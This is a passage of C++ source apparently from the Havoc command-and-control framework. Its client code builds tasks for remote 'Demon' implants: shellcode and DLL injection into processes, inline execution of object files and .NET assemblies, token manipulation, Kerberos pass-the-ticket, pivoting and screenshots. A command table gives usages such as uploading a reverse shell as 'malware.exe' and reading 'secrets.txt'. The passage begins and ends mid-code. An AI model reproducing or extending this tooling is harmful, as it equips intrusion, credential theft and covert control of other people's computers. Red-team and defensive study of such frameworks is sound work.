static_cast<int>( Commands::SLEEP ) ).c_str() },\n            { \"Arguments\",      seconds.toStdString()}\n        }\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Checkin( QString TaskID ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n        .SubEvent = Util::Packager::Session::SendCommand,\n        .Info = {\n            { \"TaskID\",         TaskID.toStdString() },\n            { \"CommandLine\",    DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n            { \"DemonID\",        this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n            { \"CommandID\",      to_string( static_cast<int>( Commands::CHECKIN ) ).c_str() },\n        }\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::ProcList( QString TaskID, bool FromProcessManager ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n        .SubEvent = Util::Packager::Session::SendCommand,\n        .Info = {\n            { \"TaskID\",         TaskID.toStdString() },\n            { \"CommandLine\",    DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n            { \"DemonID\",        this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n            { \"CommandID\",      to_string( static_cast<int>( Commands::PROC_LIST ) ).c_str() },\n\n            { \"FromProcessManager\", FromProcessManager ? \"true\" : \"false\" },\n        }\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::InlineExecute( QString TaskID, QString FunctionName, QString Path, QByteArray Args, QString Flags ) -> void\n{\n    auto Content = FileRead( Path );\n    if ( Content.isEmpty() ) return;\n\n    auto Body    = Util::Packager::Body_t {\n        .SubEvent = Util::Packager::Session::SendCommand,\n        .Info = {\n            { \"TaskID\",         TaskID.toStdString() },\n            { \"CommandLine\",    DemonCommandInstance->CommandInputList[TaskID].toStdString() },\n            { \"DemonID\",        this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n            { \"CommandID\",      to_string( static_cast<int>( Commands::INLINE_EXECUTE ) ).c_str() },\n            { \"HasCallback\",    \"false\"},\n\n            { \"FunctionName\",   FunctionName.toStdString() },\n            { \"Binary\",         Content.toBase64().toStdString() },\n            { \"Arguments\",      Util::base64_encode( Args.toStdString().c_str(), Args.length() ) },\n            { \"Flags\",          Flags.toStdString() },\n         },\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::InlineExecuteGetOutput( QString TaskID, QString FunctionName, QString Path, QByteArray Args, QString Flags ) -> void\n{\n    auto Content = FileRead( Path );\n    if ( Content.isEmpty() ) return;\n\n    auto Body    = Util::Packager::Body_t {\n        .SubEvent = Util::Packager::Session::SendCommand,\n        .Info = {\n            { \"TaskID\",         TaskID.toStdString() },\n            { \"CommandLine\",    DemonCommandInstance->CommandInputList[TaskID].toStdString() },\n            { \"DemonID\",        this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n            { \"CommandID\",      to_string( static_cast<int>( Commands::INLINE_EXECUTE ) ).c_str() },\n            { \"HasCallback\",    \"true\"},\n\n            { \"FunctionName\",   FunctionName.toStdString() },\n            { \"Binary\",         Content.toBase64().toStdString() },\n            { \"Arguments\",      Util::base64_encode( Args.toStdString().c_str(), Args.length() ) },\n            { \"Flags\",          Flags.toStdString() },\n         },\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::AssemblyInlineExecute( QString TaskID, QString Path, QString Args ) -> void\n{\n    auto Content = FileRead( Path );\n    if ( Content.isEmpty() ) return;\n\n    auto Body    = Util::Packager::Body_t {\n        .SubEvent = Util::Packager::Session::SendCommand,\n        .Info = {\n            { \"TaskID\",         TaskID.toStdString() },\n            { \"CommandLine\",    DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n            { \"DemonID\",        this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n            { \"CommandID\",      to_string( static_cast<int>( Commands::INLINE_EXECUTE_ASSEMBLY ) ).c_str() },\n\n            { \"Binary\",         Content.toBase64().toStdString() },\n            { \"Arguments\",      Args.toStdString() },\n        },\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::AssemblyListVersions( QString TaskID ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n        .SubEvent = Util::Packager::Session::SendCommand,\n        .Info = {\n            { \"TaskID\",      TaskID.toStdString() },\n            { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n            { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n            { \"CommandID\",   to_string( static_cast<int>( Commands::ASSEMBLY_LIST_VERSIONS ) ).c_str() },\n        }\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::ShellcodeInject( QString TaskID, QString InjectionTechnique, QString TargetPID, QString TargetArch, QString Path, QString Arguments = \"\" ) const -> void\n{\n    auto Content = FileRead( Path );\n    if ( Content.isEmpty() ) return;\n\n    auto Body    = Util::Packager::Body_t {\n        .SubEvent = Util::Packager::Session::SendCommand,\n        .Info = {\n            { \"TaskID\",      TaskID.toStdString() },\n            { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n            { \"CommandID\",   to_string( static_cast<int>( Commands::INJECT_SHELLCODE ) ).c_str() },\n            { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n\n            { \"Way\",         \"Inject\" },\n            { \"Technique\",   InjectionTechnique.toStdString() },\n            { \"Binary\",      Content.toBase64().toStdString() },\n            { \"Arguments\",   Arguments.toUtf8().toBase64().toStdString() },\n            { \"PID\",         TargetPID.toStdString() },\n            { \"Arch\",        TargetArch.toStdString() },\n        },\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::ShellcodeSpawn( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments = \"\" ) -> void\n{\n    auto Content = FileRead( Path );\n    if ( Content.isEmpty() ) return;\n\n    auto Body    = Util::Packager::Body_t {\n        .SubEvent = Util::Packager::Session::SendCommand,\n        .Info = {\n            { \"TaskID\",      TaskID.toStdString()},\n            { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n            { \"CommandID\",   to_string(static_cast<int>(Commands::INJECT_SHELLCODE)).c_str() },\n            { \"CommandLine\", DemonCommandInstance->CommandInputList[TaskID].toStdString() },\n\n            { \"Way\",         \"Spawn\" },\n            { \"Technique\",   InjectionTechnique.toStdString() },\n            { \"Binary\",      Content.toBase64().toStdString() },\n            { \"Arguments\",   Arguments.toUtf8().toBase64().toStdString() },\n            { \"Arch\",        TargetArch.toStdString() },\n        },\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::ShellcodeExecute( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments ) -> void\n{\n    auto Content = FileRead( Path );\n    if ( Content.isEmpty() ) return;\n\n    auto Body    = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info = {\n                { \"TaskID\",      TaskID.toStdString()},\n                { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n                { \"CommandID\",   to_string(static_cast<int>(Commands::INJECT_SHELLCODE)).c_str() },\n                { \"CommandLine\", DemonCommandInstance->CommandInputList[TaskID].toStdString() },\n\n                { \"Way\",         \"Execute\" },\n                { \"Technique\",   InjectionTechnique.toStdString() },\n                { \"Binary\",      Content.toBase64().toStdString() },\n                { \"Arguments\",   Arguments.toUtf8().toBase64().toStdString() },\n                { \"Arch\",        TargetArch.toStdString() },\n            },\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::DllSpawn( QString TaskID, QString Path, QByteArray Args ) -> void\n{\n    auto Content = FileRead( Path );\n    if ( Content.isEmpty() ) return;\n\n    auto Body = Util::Packager::Body_t {\n        .SubEvent = Util::Packager::Session::SendCommand,\n        .Info = {\n            {\"TaskID\",      TaskID.toStdString()},\n            {\"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString()},\n            {\"CommandID\",   to_string(static_cast<int>( Commands::INJECT_DLL_SPAWN ) ).c_str()},\n            {\"CommandLine\", DemonCommandInstance->CommandInputList[TaskID].toStdString()},\n\n            {\"Binary\",      Content.toBase64().toStdString() },\n            {\"Arguments\",   Util::base64_encode( Args.toStdString().c_str(), Args.length() ) },\n        },\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Token( QString TaskID, QString SubCommand, QString Arguments ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info = {\n                    { \"TaskID\",      TaskID.toStdString() },\n                    { \"CommandLine\", DemonCommandInstance->CommandInputList[TaskID].toStdString() },\n                    { \"DemonID\",     DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n                    { \"CommandID\",   to_string( static_cast<int>( Commands::TOKEN ) ).c_str() },\n\n                    { \"SubCommand\",  SubCommand.toStdString() },\n                    { \"Arguments\",   Arguments.toStdString() },\n            }\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::ProcModule( QString TaskID, int SubCommand, QString Args ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info = {\n                { \"TaskID\",      TaskID.toStdString() },\n                { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n                { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n                { \"CommandID\",   to_string( static_cast<int>( Commands::PROC ) ).c_str() },\n\n                { \"ProcCommand\", to_string( SubCommand ).c_str() },\n                { \"Args\",        Args.toStdString() },\n            }\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Exit( QString TaskID, QString Methode ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n        .SubEvent = Util::Packager::Session::SendCommand,\n        .Info = {\n            { \"TaskID\",      TaskID.toStdString() },\n            { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n            { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n            { \"CommandID\",   to_string( static_cast<int>( Commands::EXIT ) ).c_str() },\n\n            { \"ExitMethod\",  Methode.toStdString() },\n        }\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::DllInject( QString TaskID, QString TargetPID, QString Path, QString Params ) -> void\n{\n    auto Content = FileRead( Path );\n    if ( Content.isEmpty() ) return;\n\n    auto Body = Util::Packager::Body_t {\n        .SubEvent = Util::Packager::Session::SendCommand,\n        .Info = {\n            {\"TaskID\",      TaskID.toStdString() },\n            {\"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n            {\"CommandID\",   to_string( static_cast<int>( Commands::INJECT_DLL ) ).c_str() },\n            {\"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n\n            {\"Binary\",      Content.toBase64().toStdString() },\n            {\"Arguments\",   Params.toStdString()},\n            {\"PID\",         TargetPID.toStdString()},\n        },\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Config( const QString& TaskID, const QString& Key, const QString& Value ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info = {\n                { \"TaskID\",      TaskID.toStdString() },\n                { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n\n                { \"CommandID\",   to_string( (int)Commands::CONFIG ).c_str() },\n                { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n\n                { \"ConfigKey\",  Key.toStdString() },\n                { \"ConfigVal\",  Value.toStdString() },\n            },\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Screenshot( const QString &TaskID ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info = {\n                { \"TaskID\",      TaskID.toStdString() },\n                { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n\n                { \"CommandID\",   to_string( ( int ) Commands::SCREENSHOT ).c_str() },\n                { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n            },\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Net( QString TaskID, QString Command, QString Param ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info = {\n                { \"TaskID\",      TaskID.toStdString() },\n                { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n\n                { \"CommandID\",   to_string( ( int ) Commands::NET ).c_str() },\n                { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n\n                { \"NetCommand\",  Command.toStdString() },\n                { \"Param\",       Param.toStdString() },\n            },\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Pivot( QString TaskID, QString Command, QString Param ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info = {\n                { \"TaskID\",      TaskID.toStdString() },\n                { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n\n                { \"CommandID\",   to_string( ( int ) Commands::PIVOT ).c_str() },\n                { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n\n                { \"Command\",     Command.toStdString() },\n                { \"Param\",       Param.toStdString() },\n            },\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::AgentCommand( QMap<string, string> CommandData ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info     = CommandData,\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Job( QString TaskID, QString SubCommand, QString Argument ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info = {\n                { \"TaskID\",      TaskID.toStdString() },\n                { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n\n                { \"CommandID\",   to_string( ( int ) Commands::JOB ).c_str() },\n                { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n\n                { \"Command\",     SubCommand.toStdString() },\n                { \"Param\",       Argument.toStdString() },\n            },\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Task( const QString& TaskID, const QString& Command ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info = {\n                { \"TaskID\",      TaskID.toStdString() },\n                { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n                { \"CommandID\",   \"Teamserver\" },\n                { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n                { \"Command\",     Command.toStdString() },\n            },\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Transfer( const QString &TaskID, QString SubCommand, QString Arguments ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info = {\n                { \"TaskID\",      TaskID.toStdString() },\n                { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n\n                { \"CommandID\",   to_string( ( int ) Commands::TRANSFER ).c_str() },\n                { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n\n                { \"Command\",     SubCommand.toStdString() },\n                { \"FileID\",      Arguments.toStdString() },\n            },\n    };\n\n    NewPackageCommand( DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Socket( const QString &TaskID, QString SubCommand, QString Arguments ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info = {\n                    { \"TaskID\",      TaskID.toStdString() },\n                    { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n\n                    { \"CommandID\",   to_string( ( int ) Commands::SOCKET ).c_str() },\n                    { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n\n                    { \"Command\",     SubCommand.toStdString() },\n                    { \"Params\",      Arguments.toStdString() },\n            },\n    };\n\n    NewPackageCommand( DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Luid( const QString& TaskID ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info = {\n                    { \"TaskID\",      TaskID.toStdString() },\n                    { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n\n                    { \"CommandID\",   to_string( ( int ) Commands::KERBEROS ).c_str() },\n                    { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n\n                    { \"Command\",     \"luid\" },\n            },\n    };\n\n    NewPackageCommand( DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Klist( const QString &TaskID, QString Argument1, QString Argument2 ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info = {\n                    { \"TaskID\",      TaskID.toStdString() },\n                    { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n\n                    { \"CommandID\",   to_string( ( int ) Commands::KERBEROS ).c_str() },\n                    { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n\n                    { \"Command\",     \"klist\" },\n\n                    { \"Argument1\",   Argument1.toStdString() },\n                    { \"Argument2\",   Argument2.toStdString() },\n            },\n    };\n\n    NewPackageCommand( DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Purge( const QString &TaskID, QString Argument ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info = {\n                    { \"TaskID\",      TaskID.toStdString() },\n                    { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n\n                    { \"CommandID\",   to_string( ( int ) Commands::KERBEROS ).c_str() },\n                    { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n\n                    { \"Command\",     \"purge\" },\n\n                    { \"Argument\",    Argument.toStdString() },\n            },\n    };\n\n    NewPackageCommand( DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Ptt( const QString &TaskID, QString Ticket, QString Luid ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Session::SendCommand,\n            .Info = {\n                    { \"TaskID\",      TaskID.toStdString() },\n                    { \"DemonID\",     this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n\n                    { \"CommandID\",   to_string( ( int ) Commands::KERBEROS ).c_str() },\n                    { \"CommandLine\", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n\n                    { \"Command\",     \"ptt\" },\n\n                    { \"Ticket\",    Ticket.toStdString() },\n                    { \"Luid\",      Luid.toStdString() },\n            },\n    };\n\n    NewPackageCommand( DemonCommandInstance->Teamserver, Body );\n}\n"
  },
  {
    "path": "client/src/Havoc/Demon/Commands.cc",
    "content": "#include <Havoc/DemonCmdDispatch.h>\n\n#define BEHAVIOR_PROCESS_INJECTION  \"Process Injection\"\n#define BEHAVIOR_PROCESS_CREATION   \"Process Creation\"\n#define BEHAVIOR_FORK_AND_RUN       \"Fork & Run\"\n#define BEHAVIOR_API_ONLY           \"API Only\"\n#define BEHAVIOR_TEAMSERVER         \"Teamserver side\"\n\n#define NO_SUBCOMMANDS  .Module = false,\n\nusing namespace HavocNamespace::HavocSpace;\n\nstd::vector<DemonCommands::Command_t> DemonCommands::DemonCommandList = {\n        {\n            .CommandString  = \"help\",\n            .Description    = \"Shows help message of specified command\",\n            .Usage          = \"[command]\",\n            .Example        = \"inline-execute\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"sleep\",\n            .Description    = \"sets the delay to sleep\",\n            .MitreTechniques= { \"T1029\" ,\"TA0005\"},\n            .Usage          = \"[delay] (jitter)\",\n            .Example        = \"10\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"checkin\",\n            .Description    = \"request a checkin request\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"job\",\n            .Description    = \"job manager\",\n            .Module         = true,\n\n            .SubCommands    =\n            {\n                {\n                    .CommandString  = \"list\",\n                    .Description    = \"list of jobs\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                },\n                {\n                    .CommandString  = \"suspend\",\n                    .Description    = \"suspend specified job id\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = \"[id]\",\n                    .Example        = \"1337\",\n                },\n                {\n                    .CommandString  = \"resume\",\n                    .Description    = \"resume specified job id\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = \"[id]\",\n                    .Example        = \"1337\",\n                },\n                {\n                    .CommandString  = \"kill\",\n                    .Description    = \"kill specified job id\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = \"[id]\",\n                    .Example        = \"1337\",\n                },\n            }\n        },\n        {\n            .CommandString  = \"task\",\n            .Description    = \"task manager\",\n            .Module         = true,\n\n            .SubCommands    =\n            {\n                {\n                    .CommandString  = \"list\",\n                    .Description    = \"list of commands in task queue\",\n                    .Behavior       = BEHAVIOR_TEAMSERVER,\n                },\n                {\n                    .CommandString  = \"clear\",\n                    .Description    = \"clear all commands in task queue\",\n                    .Behavior       = BEHAVIOR_TEAMSERVER,\n                },\n            }\n        },\n        {\n            .CommandString  = \"proc\",\n            .Description    = \"process enumeration and management\",\n            .Usage          = \"[command]\",\n            .Example        = \"list\",\n            .Module         = true,\n\n            .SubCommands    =\n            {\n                {\n                    .CommandString  = \"list\",\n                    .Description    = \"displays a list of running processes on the target\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques= { \"TA0007\", \"T1057\" },\n                },\n                {\n                    .CommandString  = \"kill\",\n                    .Description    = \"kills the process from specified PID\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques= { \"T1057\", \"TA0040\" },\n                    .Usage          = \"[pid]\",\n                    .Example        = \"1337\",\n                },\n                {\n                    .CommandString  = \"create\",\n                    .Description    = \"create a process\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques = { \"T1106\", \"T1055\" },\n                    .Usage          = \"[normal/suspended] (--silent) (--no-pipe) process (args)\",\n                    .Example        = R\"(suspended --no-pipe C:\\Windows\\System32\\notepad.exe)\",\n                },\n                {\n                    .CommandString  = \"modules\",\n                    .Description    = \"lists loaded modules/dlls from a remote process\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques = { \"TA0007\" },\n                    .Usage          = \"[pid]\",\n                    .Example        = \"1337\",\n                },\n                {\n                    .CommandString  = \"grep\",\n                    .Description    = \"grep information from the specified remote process\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques = { \"T1020\", \"T1057\" },\n                    .Usage          = \"[process]\",\n                    .Example        = \"explorer.exe\",\n                },\n                {\n                    .CommandString  = \"memory\",\n                    .Description    = \"query for memory regions\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques= { \"T1055\"},\n                    .Usage          = \"[pid] [PAGE_READ | PAGE_READWRITE | PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE]\",\n                    .Example        = \"1337 PAGE_EXECUTE_READWRITE\",\n                },\n            },\n        },\n        {\n            .CommandString  = \"transfer\",\n            .Description    = \"download transfer module\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .Usage          = \"<subcommand>\",\n            .Example        = \"list\",\n            .SubCommands    =\n            {\n                {\n                    .CommandString  = \"list\",\n                    .Description    = \"list current downloads\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = \"\",\n                    .Example        = \"\",\n                },\n                {\n                    .CommandString  = \"stop\",\n                    .Description    = \"stops a download\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = \"<FileID>\",\n                    .Example        = \"ffff\",\n                },\n                {\n                    .CommandString  = \"resume\",\n                    .Description    = \"resumes a download\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = \"<FileID>\",\n                    .Example        = \"ffff\",\n                },\n                {\n                    .CommandString  = \"remove\",\n                    .Description    = \"stops and removes a download\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = \"<FileID>\",\n                    .Example        = \"ffff\",\n                },\n            }\n        },\n        {\n            .CommandString  = \"dir\",\n            .Description    = \"list specified directory\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .MitreTechniques = { \"T1083\", \"T1083\" },\n            .Usage          = \"[/path/to/dir] [/s] [/b] [/d] [/f] [/starts foo] [/contains foo] [/ends foo]\",\n            .Example        = \"c:\\\\users /s /b /f /ends .ps1\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"download\",\n            .Description    = \"downloads a specified file\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .Usage          = \"[/path/to/file.txt]\",\n            .Example        = \"c:\\\\secrets.txt\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"upload\",\n            .Description    = \"uploads a specified file\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .Usage          = \"[/local/file/to/upload.exe] [/remote/path/to/upload.exe]\",\n            .Example        = \"/tmp/reverse_shell.exe c:\\\\malware.exe\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"cd\",\n            .Description    = \"change to specified directory\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .Usage          = \"[/path/to/dir]\",\n            .Example        = \"C:\\\\\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"cp\",\n            .Description    = \"copy file from one location to another\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .Usage          = \"[/path/from/file.txt] [path/to/file.txt]\",\n            .Example        = R\"(C:\\secrets.txt C:\\Windows\\Temp\\secrets.txt)\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"mv\",\n            .Description    = \"move file from one location to another\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .Usage          = \"[/path/from/file.txt] [path/to/file.txt]\",\n            .Example        = R\"(C:\\secrets.txt C:\\Windows\\Temp\\secrets.txt)\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"remove\",\n            .Description    = \"remove file or directory\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .Usage          = \"[path]\",\n            .Example        = \"C:\\\\text.txt\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"mkdir\",\n            .Description    = \"create new directory\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .Usage          = \"[/path/to/dir]\",\n            .Example        = \"C:\\\\NewDir\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"pwd\",\n            .Description    = \"get current directory\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .Usage          = \"\",\n            .Example        = \"\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"cat\",\n            .Description    = \"display content of the specified file\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .Usage          = \"[/path/to/file.txt]\",\n            .Example        = \"c:\\\\secrets.txt\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"screenshot\",\n            .Description    = \"takes a screenshot\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"shell\",\n            .Description    = \"executes cmd.exe commands and gets the output\",\n            .Behavior       = BEHAVIOR_PROCESS_CREATION,\n            .Usage          = \"[commands]\",\n            .Example        = R\"(dir c:\\windows\\system32)\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"powershell\",\n            .Description    = \"executes powershell.exe commands and gets the output\",\n            .Usage          = \"[commands]\",\n            .Example        = R\"(dir c:\\windows\\system32)\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"inline-execute\",\n            .Description    = \"executes an object file\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .Usage          = \"[/path/to/objectfile.o] (arguments)\",\n            .Example        = R\"(/tmp/objectfile.x64.o hello)\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"shellcode\",\n            .Description    = \"shellcode injection techniques\",\n            .Usage          = \"[subcommand]\",\n            .Example        = R\"(inject-sys x64 1337 /tmp/rev_shell.x64.bin)\",\n            .Module         = true,\n\n            .SubCommands    =\n            {\n                {\n                    .CommandString  = \"inject\",\n                    .Description    = \"inject shellcode into a remote process\",\n           